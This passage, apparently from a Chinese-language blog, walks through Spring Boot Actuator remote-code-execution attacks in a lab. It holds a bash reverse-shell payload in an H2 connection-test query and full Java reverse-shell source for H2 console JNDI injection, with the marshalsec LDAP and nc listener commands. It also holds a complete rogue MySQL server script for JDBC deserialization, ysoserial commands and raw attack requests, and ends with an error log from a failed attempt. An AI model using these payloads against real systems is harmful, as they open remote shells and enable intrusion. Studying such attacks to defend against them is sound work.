Content-Length: 291

{
"name":"spring.datasource.hikari.connection-test-query",
"value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('bash','-c','exec bash -i &>/dev/tcp/10.30.3.182/7777 <&1');"
}


image-20230327151900575

漏洞原理：

  1. spring.datasource.hikari.connection-test-query属性被设置为一条恶意的CREATE ALIAS创建自定义函数的SQL语句
  2. 其属性对应HikariCP数据库连接池的connectionTestQuery配置，定义一个新数据库连接之前被执行的SQL语句
  3. restart重启应用，会建立新的数据库连接
  4. 如果SQL语句中的自定义函数还没有被执行过，那么自定义函数就会被执行，造成RCE漏洞

3.7 h2 database console JNDI RCE

漏洞代码：

1
springboot-h2-database-rce

利用条件：

  1. 存在com.h2database.h2依赖(版本要求未知)
  2. spring配置中启用h2 console spring.h2.console.enable=true
  3. 目标可以请求攻击者的服务器(请求可出外网)
  4. JNDI注入受目标jdk版本影响，jdk < 6u201/7u191/8u182/11.0.1 (LDAP方式)

利用方法：

  1. 访问路由获取jsessionid

直接访问目标开启h2 console的默认路由/h2-console，目标会自动跳转到页面/h2-console/login.jsp?jessionid=xxxx，记录下实际的jsessionid=xxxx的值。

  1. 准备要执行的Java代码

编译反弹shell的Java代码，编译方法及代码如下

1
javac -source 1.5 -target 1.5 JNDIObject.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
/**
 *  javac -source 1.5 -target 1.5 JNDIObject.java
 *
 *  Build By LandGrey
 * */

import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class JNDIObject {
    static {
        try{
            String ip = "10.30.3.182";
            String port = "7777";
            String py_path = null;
            String[] cmd;
            if (!System.getProperty("os.name").toLowerCase().contains("windows")) {
                String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};
                for(int i = 0; i < py_envs.length; ++i) {
                    String py = py_envs[i];
                    if ((new File(py)).exists()) {
                        py_path = py;
                        break;
                    }
                }
                if (py_path != null) {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};
                    } else {
                        cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};
                    }
                } else {
                    if ((new File("/bin/bash")).exists()) {
                        cmd = new String[]{"/bin/bash"};
                    } else {
                        cmd = new String[]{"/bin/sh"};
                    }
                }
            } else {
                cmd = new String[]{"cmd.exe"};
            }
            Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();
            Socket s = new Socket(ip, Integer.parseInt(port));
            InputStream pi = p.getInputStream();
            InputStream pe = p.getErrorStream();
            InputStream si = s.getInputStream();
            OutputStream po = p.getOutputStream();
            OutputStream so = s.getOutputStream();
            while(!s.isClosed()) {
                while(pi.available() > 0) {
                    so.write(pi.read());
                }
                while(pe.available() > 0) {
                    so.write(pe.read());
                }
                while(si.available() > 0) {
                    po.write(si.read());
                }
                so.flush();
                po.flush();
                Thread.sleep(50L);
                try {
                    p.exitValue();
                    break;
                } catch (Exception e) {
                }
            }
            p.destroy();
            s.close();
        }catch (Throwable e){
            e.printStackTrace();
        }
    }
}
  1. 托管class文件

在vps上开启一个http服务，端口可随意设置。将上述步骤中的.class文件拷贝到开启服务的目录下

image-20230328104530456

  1. 架设恶意ldap服务

下载marshalsec，使用下面的命令架设对应的ldap服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
  1. 监听反弹shell端口
1
nc -lvp 7777
  1. 发包触发JNDI注入

根据实际情况替换jessionid=xxxx、127.0.0.1、ldap://your-vps-ip:1389/JNDIObject

1
2
3
4
5
6
POST /h2-console/login.do?jsessionid=xxxxxx
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx

language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=

这里全部准备好后，抓包。修改最下面的数据，触发JNDI注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
POST /h2-console/login.do?jsessionid=ffd3a62dfa1a6e77038d2197aa8069bd HTTP/1.1
Host: 127.0.0.1:9096
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 166
Origin: http://127.0.0.1:9096
Connection: close
Referer: http://127.0.0.1:9096/h2-console/login.jsp?jsessionid=ffd3a62dfa1a6e77038d2197aa8069bd
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1

language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://10.30.3.182:1389/JNDIObject&user=&password=

发包后成功触发漏洞，反弹shell成功

image-20230328105414896

3.8 mysql jdbc deserialization RCE

同样的复现失败，GG

项目构建时需要改些东西

pom.xml

1
2
3
4
5
<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.30</version>
</dependency>

application.properties

1
2
3
4
spring.datasource.url=jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
spring.datasource.username=root
spring.datasource.password=root
spring.datasource.driver-class-name=com.mysql.jdbc.Driver

需要注意下mysql服务的开启，以及数据库的用户名和密码的配置。

漏洞代码：

1
springboot-mysql-jdbc-rce

利用条件：

  1. 可以POST请求目标网站的/env接口设置属性
  2. 可以POST请求目标网站的/refresh接口刷新配置(存在spring-boot-starter-actuator依赖)
  3. 目标环境中存在mysql-connector-java依赖
  4. 目标可以请求攻击者的服务器(请求可出网)

利用方法：

  1. 查看环境依赖

GET请求/env或/actuator/env，搜索环境变量(classpath)中是否有mysql-connector-java关键词，并记录下版本号(5.x | 8.x)

搜索并观察环境变量中是否存在常见的反序列化gadget依赖，比如commons-collections、jdk7u121、jdk8u20等。

搜索spring.datasource.url关键词，记录下其value值，方便后续恢复其正常jdbc url值。

  1. 架设恶意rogue mysql server

在自己控制的服务器上运行springboot-jdbc-deserialization-rce.py脚本，并使用ysoserial自定义要执行的命令

springboot-jdbc-deserialization-rce.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

import os
import socket
import binascii


def server_send(conn, payload):
    global count
    count += 1
    print("[*] Package order: {}, Send: {}".format(count, payload))
    conn.send(binascii.a2b_hex(payload))


def server_receive(conn):
    global count, BUFFER_SIZE

    count += 1
    data = conn.recv(BUFFER_SIZE)
    print("[*] Package order: {}, Receive: {}".format(count, data))
    return str(data).lower()


def run_mysql_server():
    global count, deserialization_payload

    while True:
        count = 0
        conn, addr = server_socks.accept()
        print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
        greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
        server_send(conn, greeting)
        if os.path.isfile(deserialization_file):
            with open(deserialization_file, 'rb') as _f:
                deserialization_payload = binascii.b2a_hex(_f.read())
        while True:
            # client auth
            server_receive(conn)
            server_send(conn, response_ok)

            # client query
            data = server_receive(conn)
            if "session.auto_increment_increment" in data:
                _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
                server_send(conn, _payload)
                data = server_receive(conn)
            if "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                server_send(conn, _payload)
                data = server_receive(conn)
            if "set names" in data:
                server_send(conn, response_ok)
                data = server_receive(conn)
            if "set character_set_results" in data:
                server_send(conn, response_ok)
                data = server_receive(conn)
            if "show session status" in data:
                _data = '0100000102'
                _data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
                _data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
                _payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
                _payload_length = _payload_hex[2:4] + _payload_hex[0:2]
                _data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
                _data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
                _data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
                _data += '07000005fe000022000100'
                server_send(conn, _data)
                data = server_receive(conn)
            if "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                server_send(conn, _payload)

            break
        try:
            conn.close()
        except Exception as e:
            pass


if __name__ == "__main__":
    HOST = "0.0.0.0"
    PORT = 3306

    deserialization_file = r'payload.ser'
    if os.path.isfile(deserialization_file):
        with open(deserialization_file, 'rb') as f:
            deserialization_payload = binascii.b2a_hex(f.read())
    else:
        deserialization_payload = 'aced****(your deserialized hex data)'

    count = 0
    BUFFER_SIZE = 1024
    response_ok = '0700000200000002000000'
    print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
    server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socks.bind((HOST, PORT))
    server_socks.listen(1)

    run_mysql_server()
1
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

上述两个文件放在同一目录下。

  1. 设置spring.datasource.url属性

修改此属性会暂时导致网站所有的正常数据库服务不可用

mysql-connector-java 5.x版本设置属性值为：

1
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

mysql-connector-java 8.x版本设置属性值为：

1
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

spring 1.x

1
2
3
4
POST /env
Content-Type: application/x-www-form-urlencoded

spring.datasource.url=对应属性值

spring 2.x

1
2
3
4
POST /actuator/env
Content-Type: application/json

{"name":"spring.datasource.url","value":"对应属性值"}

抓包，修改数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/env HTTP/1.1
Host: 127.0.0.1:9097
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
Content-Type: application/json
Content-Length: 212

{"name":"spring.datasource.url","value":"jdbc:mysql://10.30.7.37:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"}

image-20230329171926870

  1. 刷新配置

spring 1.x

1
2
3
POST /refresh
Content-Type: application/x-www-form-urlencoded

spring 2.x

1
2
3
POST /actuator/refresh
Content-Type: application/json

抓包，刷新配置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /actuator/refresh HTTP/1.1
Host: 127.0.0.1:9097
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
DNT: 1
Sec-GPC: 1
Content-Type: application/json
Content-Length: 0


image-20230329171935479

到这一步时应该是替换掉原来的spring.datasource.url中的value值，可是我直接在开头又加了一遍，导致存在两个spring.datasource.url，漏洞没办法触发。

image-20230329172249934

  1. 触发数据库查询

尝试访问网站已知的数据库查询的接口，例如： /product/list ，或者寻找其他方式，主动触发源网站进行数据库查询，然后漏洞会被触发。

这里我触发直接报错了，GG

Error日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
2023-03-29 17:27:18.405  INFO 34728 --- [           main] trationDelegate$BeanPostProcessorChecker : Bean 'org.springframework.cloud.autoconfigure.ConfigurationPropertiesRebinderAutoConfiguration' of type [org.springframework.cloud.autoconfigure.ConfigurationPropertiesRebinderAutoConfiguration$$EnhancerBySpringCGLIB$$d4f2f870] is not eligible for getting processed by all BeanPostProcessors (for example: not eligible for auto-proxying)

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 =========|_|==============|___/=/_/_/_/
 :: Spring Boot ::        (v2.2.1.RELEASE)

2023-03-29 17:27:19.337  INFO 34728 --- [           main] c.c.c.ConfigServicePropertySourceLocator : Fetching config from server at : http://localhost:8888
2023-03-29 17:27:21.418  INFO 34728 --- [           main] c.c.c.ConfigServicePropertySourceLocator : Connect Timeout Exception on Url - http://localhost:8888. Will be trying the next url if available
2023-03-29 17:27:21.418  WARN 34728 --- [           main] c.c.c.ConfigServicePropertySourceLocator : Could not locate PropertySource: I/O error on GET request for "http://localhost:8888/application/default": Connection refused: connect; nested exception is java.net.ConnectException: Connection refused: connect
2023-03-29 17:27:21.420  INFO 34728 --- [           main] code.landgrey.Application                : No active profile set, falling back to default profiles: default
2023-03-29 17:27:21.951  INFO 34728 --- [           main] .s.d.r.c.RepositoryConfigurationDelegate : Bootstrapping Spring Data repositories in DEFAULT mode.
2023-03-29 17:27:21.997  INFO 34728 --- [           main] .s.d.r.c.RepositoryConfigurationDelegate : Finished Spring Data repository scanning in 38ms. Found 1 repository interfaces.
2023-03-29 17:27:22.111  INFO 34728 --- [           main] o.s.cloud.context.scope.GenericScope     : BeanFactory id=6a2ddfe4-9bba-3e2c-b311-34b8a103957f
2023-03-29 17:27:22.207  INFO 34728 --- [           main] trationDelegate$BeanPostProcessorChecker : Bean 'org.springframework.transaction.annotation.ProxyTransactionManagementConfiguration' of type [org.springframework.transaction.annotation.ProxyTransactionManagementConfiguration] is not eligible for getting processed by all BeanPostProcessors (for example: not eligible for auto-proxying)
2023-03-29 17:27:22.231  INFO 34728 --- [           main] trationDelegate$BeanPostProcessorChecker : Bean 'org.springframework.cloud.autoconfigure.ConfigurationPropertiesRebinderAutoConfiguration' of type [org.springframework.cloud.autoconfigure.ConfigurationPropertiesRebinderAutoConfiguration$$EnhancerBySpringCGLIB$$d4f2f870] is not eligible for getting processed by all BeanPostProcessors (for example: not eligible for auto-proxying)
2023-03-29 17:27:22.427  INFO 34728 --- [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat initialized with port(s): 9097 (http)
2023-03-29 17:27:22.436  INFO 34728 --- [           main] o.apache.catalina.core.StandardService   : Starting service [Tomcat]
2023-03-29 17:27:22.437  INFO 34728 --- [           main] org.apache.catalina.core.StandardEngine  : Starting Servlet engine: [Apache Tomcat/9.0.27]
2023-03-29 17:27:22.556  INFO 34728 --- [           main] o.a.c.c.C.[Tomcat].[localhost].[/]       : Initializing Spring embedded WebApplicationContext
2023-03-29 17:27:22.556  INFO 34728 --- [           main] o.s.web.context.ContextLoader            : Root WebApplicationContext: initialization completed in 1123 ms
2023-03-29 17:27:22.998  INFO 34728 --- [           main] o.hibernate.jpa.internal.util.LogHelper  : HHH000204: Processing PersistenceUnitInfo [name: default]
2023-03-29 17:27:23.078  INFO 34728 --- [           main] org.hibernate.Version                    : HHH000412: Hibernate Core {5.4.8.Final}
2023-03-29 17:27:23.218  INFO 34728 --- [           main] o.hibernate.annotations.common.Version   : HCANN000001: Hibernate Commons Annotations {5.1.0.Final}
2023-03-29 17:27:23.310  INFO 34728 --- [           main] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Starting...
2023-03-29 17:27:23.444  INFO 34728 --- [           main] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Start completed.
2023-03-29 17:27:23.457  INFO 34728 --- [           main] org.hibernate.dialect.Dialect            : HHH000400: Using dialect: org.hibernate.dialect.MySQL5Dialect
Hibernate: drop table if exists hibernate_sequence
Hibernate: drop table if exists product
Hibernate: create table hibernate_sequence (next_val bigint) engine=MyISAM
Hibernate: insert into hibernate_sequence values ( 1 )
Hibernate: create table product (_id bigint not null, description varchar(255), image_url varchar(255), price decimal(19,2), primary key (_id)) engine=MyISAM
2023-03-29 17:27:24.028  INFO 34728 --- [           main] o.h.e.t.j.p.i.JtaPlatformInitiator       : HHH000490: Using JtaPlatform implementation: [org.hibernate.engine.transaction.jta.platform.internal.NoJtaPlatform]
2023-03-29 17:27:24.033  INFO 34728 --- [           main] j.LocalContainerEntityManagerFactoryBean : Initialized JPA EntityManagerFactory for persistence unit 'default'
2023-03-29 17:27:24.233  WARN 34728 --- [           main] JpaBaseConfiguration$JpaWebConfiguration : spring.jpa.open-in-view is enabled by default. Therefore, database queries may be performed during view rendering. Explicitly configure spring.jpa.open-in-view to disable this warning
2023-03-29 17:27:24.328  INFO 34728 --- [           main] o.s.s.concurrent.ThreadPoolTaskExecutor  : Initializing ExecutorService 'applicationTaskExecutor'
2023-03-29 17:27:25.399  INFO 34728 --- [           main] o.s.b.a.e.web.EndpointLinksResolver      : Exposing 3 endpoint(s) beneath base path '/actuator'
2023-03-29 17:27:25.473  INFO 34728 --- [           main] o.s.b.w.embedded.tomcat.TomcatWebServer  : Tomcat started on port(s): 9097 (http) with context path ''
2023-03-29 17:27:25.556  INFO 34728 --- [nio-9097-exec-1] o.a.c.c.C.[Tomcat].[localhost].[/]       : Initializing Spring DispatcherServlet 'dispatcherServlet'
2023-03-29 17:27:25.556  INFO 34728 --- [nio-9097-exec-1] o.s.web.servlet.DispatcherServlet        : Initializing Servlet 'dispatcherServlet'
2023-03-29 17:27:25.563  INFO 34728 --- [nio-9097-exec-1] o.s.web.servlet.DispatcherServlet        : Completed initialization in 7 ms
2023-03-29 17:27:26.340  INFO 34728 --- [           main] code.landgrey.Application                : Started Application in 9.32 seconds (JVM running for 10.447)
2023-03-29 17:27:27.479  INFO 34728 --- [(2)-10.30.3.182] c.c.c.ConfigServicePropertySourceLocator : Fetching config from server at : http://localhost:8888
2023-03-29 17:27:29.514  INFO 34728 --- [(2)-10.30.3.182] c.c.c.ConfigServicePropertySourceLocator : Connect Timeout Exception on Url - http://localhost:8888. Will be trying the next url if available
2023-03-29 17:27:29.514  WARN 34728 --- [(2)-10.30.3.182] c.c.c.ConfigServicePropertySourceLocator : Could not locate PropertySource: I/O error on GET request for "http://localhost:8888/application/default": Connection refused: connect; nested exception is java.net.ConnectException: Connection refused: connect
2023-03-29 17:27:31.172  INFO 34728 --- [nio-9097-exec-3] trationDelegate$BeanPostProcessorChecker : Bean 'org.springframework.cloud.autoconfigure.ConfigurationPropertiesRebinderAutoConfiguration' of type [org.springframework.cloud.autoconfigure.ConfigurationPropertiesRebinderAutoConfiguration$$EnhancerBySpringCGLIB$$d4f2f870] is not eligible for getting processed by all BeanPostProcessors (for example: not eligible for auto-proxying)
2023-03-29 17:27:32.042  INFO 34728 --- [nio-9097-exec-3] c.c.c.ConfigServicePropertySourceLocator : Fetching config from server at : http://localhost:8888
2023-03-29 17:27:34.068  INFO 34728 --- [nio-9097-exec-3] c.c.c.ConfigServicePropertySourceLocator : Connect Timeout Exception on Url - http://localhost:8888. Will be trying the next url if available
2023-03-29 17:27:34.069  WARN 34728 --- [nio-9097-exec-3] c.c.c.ConfigServicePropertySourceLocator : Could not locate PropertySource: I/O error on GET request for "http://localhost:8888/application/default": Connection refused: connect; nested exception is java.net.ConnectException: Connection refused: connect
2023-03-29 17:27:34.070  INFO 34728 --- [nio-9097-exec-3] o.s.boot.SpringApplication               : No active profile set, falling back to default profiles: default
2023-03-29 17:27:34.074  INFO 34728 --- [nio-9097-exec-3] o.s.boot.SpringApplication               : Started application in 3.787 seconds (JVM running for 18.181)
2023-03-29 17:27:34.120  INFO 34728 --- [nio-9097-exec-3] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Shutdown initiated...
2023-03-29 17:27:34.125  INFO 34728 --- [nio-9097-exec-3] com.zaxxer.hikari.HikariDataSource       : HikariPool-1 - Shutdown completed.
2023-03-29 17:27:37.279  INFO 34728 --- [nio-9097-exec-5] com.zaxxer.hikari.HikariDataSource       : HikariPool-2 - Starting...
2023-03-29 17:27:37.291 ERROR 34728 --- [nio-9097-exec-5] com.zaxxer.hikari.pool.HikariPool        : HikariPool-2 - Exception during pool initialization.

com.mysql.jdbc.exceptions.jdbc4.CommunicationsException: Communications link failure

The last packet successfully received from the server was 2 milliseconds ago.  The last packet sent successfully to the server was 0 milliseconds ago.
	at sun.reflect.NativeConstructorAccessorImpl.newInstance0(Native Method) ~[na:1.8.0_121]
	at sun.reflect.NativeConstructorAccessorImpl.newInstance(NativeConstructorAccessorImpl.java:62) ~[na:1.8.0_121]
	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45) ~[na:1.8.0_121]
	at java.lang.reflect.Constructor.newInstance(Constructor.java:423) ~[na:1.8.0_121]
	at com.mysql.jdbc.Util.handleNewInstance(Util.java:409) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.SQLError.createCommunicationsException(SQLError.java:1127) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.reuseAndReadPacket(MysqlIO.java:3715) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.reuseAndReadPacket(MysqlIO.java:3604) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.checkErrorPacket(MysqlIO.java:4155) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.sendCommand(MysqlIO.java:2615) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:2776) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2832) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2781) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.StatementImpl.executeQuery(StatementImpl.java:1569) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor.populateMapWithSessionStatusValues(ServerStatusDiffInterceptor.java:74) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor.postProcess(ServerStatusDiffInterceptor.java:53) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.V1toV2StatementInterceptorAdapter.postProcess(V1toV2StatementInterceptorAdapter.java:40) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.NoSubInterceptorWrapper.postProcess(NoSubInterceptorWrapper.java:62) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.invokeStatementInterceptorsPost(MysqlIO.java:3030) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.MysqlIO.sqlQueryDirect(MysqlIO.java:2956) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2832) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.execSQL(ConnectionImpl.java:2781) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.StatementImpl.executeQuery(StatementImpl.java:1569) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.loadServerVariables(ConnectionImpl.java:4218) ~[mysql-connector-java-5.1.30.jar:na]
	at com.mysql.jdbc.ConnectionImpl.initializePropsFromServer(ConnectionImpl.java:3613) ~[mysql-connector-java-5.1.30.jar:na]
